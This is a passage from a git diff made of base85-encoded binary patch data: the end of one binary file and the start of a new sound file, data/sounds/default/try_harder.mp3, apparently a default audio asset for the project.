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 literal 0 HcmV?d00001 diff --git a/data/sounds/default/try_harder.mp3 b/data/sounds/default/try_harder.mp3 new file mode 100755 index 0000000000000000000000000000000000000000..56aa733c152d9c56928adb032864589e4b84ebab GIT binary patch literal 19668 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 